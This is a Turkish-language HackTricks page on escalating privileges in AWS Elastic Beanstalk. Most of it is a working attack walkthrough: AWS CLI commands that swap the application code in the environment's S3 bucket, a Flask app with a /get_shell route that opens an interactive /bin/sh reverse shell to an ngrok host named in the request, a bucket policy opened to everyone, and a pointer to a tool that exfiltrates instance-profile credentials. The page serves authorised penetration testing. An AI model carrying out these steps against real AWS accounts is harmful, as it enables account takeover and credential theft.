AWS - Elastic Beanstalk Privesc

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!

HackTricks'i desteklemenin diğer yolları:

Elastic Beanstalk

Elastic Beanstalk hakkında daha fazla bilgi için:

AWS - Elastic Beanstalk Enum

Beanstalk'ta hassas işlemleri gerçekleştirmek için birçok farklı hizmette hassas izinlere sahip olmanız gerekecektir. Örneğin arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk'e verilen izinleri kontrol edebilirsiniz.

elasticbeanstalk:RebuildEnvironment, S3 yazma izinleri ve diğer birçok izin

Ortamın kodunu içeren S3 bucket üzerinde yazma izinleri ve uygulamayı yeniden oluşturma izinleri ile (gereken elasticbeanstalk:RebuildEnvironment ve S3, EC2 ve Cloudformation ile ilgili birkaç izin), kodu değiştirebilir, uygulamayı yeniden oluşturabilir ve bir sonraki erişimde uygulamanın yeni kodunuzu çalıştırmasını sağlayabilirsiniz, bu da saldırganın uygulamayı ve onun IAM rol kimlik bilgilerini tehlikeye atmasına olanak tanır.

# Create folder
mkdir elasticbeanstalk-eu-west-1-947247140022
cd elasticbeanstalk-eu-west-1-947247140022
# Download code
aws s3 sync s3://elasticbeanstalk-eu-west-1-947247140022 .
# Change code
unzip 1692777270420-aws-flask-app.zip
zip 1692777270420-aws-flask-app.zip <files to zip>
# Upload code
aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247140022/1692777270420-aws-flask-app.zip
# Rebuild env
aws elasticbeanstalk rebuild-environment --environment-name "env-name"

elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole, ve daha fazlası...

Bahsedilen ve birkaç S3, EC2, cloudformation ,autoscaling ve elasticloadbalancing izni, sıfırdan bir Elastic Beanstalk senaryosu oluşturmak için gereklidir.

  • Bir AWS Elastic Beanstalk uygulaması oluşturun:

aws elasticbeanstalk create-application --application-name MyApp
aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role

Eğer bir ortam zaten oluşturulmuşsa ve yeni bir tane oluşturmak istemiyorsanız, mevcut olanı sadece güncelleyebilirsiniz.

  • Uygulama kodunuzu ve bağımlılıklarınızı bir ZIP dosyasına paketleyin:

zip -r MyApp.zip .
  • ZIP dosyasını bir S3 kovasına yükleyin:

aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip
  • AWS Elastic Beanstalk uygulama sürümü oluşturun:

aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"
  • Uygulama sürümünü AWS Elastic Beanstalk ortamınıza dağıtın:

aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, cloudformation:GetTemplate, cloudformation:DescribeStackResources, cloudformation:DescribeStackResource, autoscaling:DescribeAutoScalingGroups, autoscaling:SuspendProcesses, autoscaling:SuspendProcesses

Öncelikle, önceki adımları takip ederek, kurbanda çalıştırmak istediğiniz kodu içeren gerçek bir Beanstalk ortamı oluşturmanız gerekmektedir. Muhtemelen bu 2 dosyayı içeren basit bir zip dosyası:

from flask import Flask, request, jsonify
import subprocess,os, socket

application = Flask(__name__)

@application.errorhandler(404)
def page_not_found(e):
return jsonify('404')

@application.route("/")
def index():
return jsonify('Welcome!')


@application.route("/get_shell")
def search():
host=request.args.get('host')
port=request.args.get('port')
if host and port:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,int(port)))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
return jsonify('done')

if __name__=="__main__":
application.run()

Gereksinimler

  • boto3 kütüphanesi yüklü olmalıdır.

  • awscli yüklü olmalıdır.

  • AWS hesabınıza erişim sağlayacak yetkilendirmelere sahip olmalısınız.

click==7.1.2
Flask==1.1.2
itsdangerous==1.1.0
Jinja2==2.11.3
MarkupSafe==1.1.1
Werkzeug==1.0.1

Kendi Beanstalk ortamınızda çalışan tersine kabuğunuz olduğunda, artık onu kurbanın ortamına göçürme zamanı gelmiştir. Bunu yapabilmek için beanstalk S3 kovasının Erişim İzni Politikasını güncellemeniz gerekmektedir, böylece kurban erişebilir (Bu, kovayı HERKESE açacaktır):

{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"s3:ListBucket",
"s3:ListBucketVersions",
"s3:GetObject",
"s3:GetObjectVersion",
"s3:*"
],
"Resource": [
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022",
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*"
]
},
{
"Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b",
"Effect": "Deny",
"Principal": {
"AWS": "*"
},
"Action": "s3:DeleteBucket",
"Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022"
}
]
}
# Use a new --version-label
# Use the bucket from your own account
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"

# These step needs the extra permissions
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

# To get your rev shell just access the exposed web URL with params such as:
http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528

Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).

The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.
Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

  • Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na göz atın (https://github.com/sponsors/carlospolop)!

  • [The PEASS Family]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [NFT'lerimiz]'in (https://opensea.io/collection/the-peass-family) bulunduğu koleksiyonumuz

  • Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @hacktricks_live'da takip edin.

  • Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.

Last updated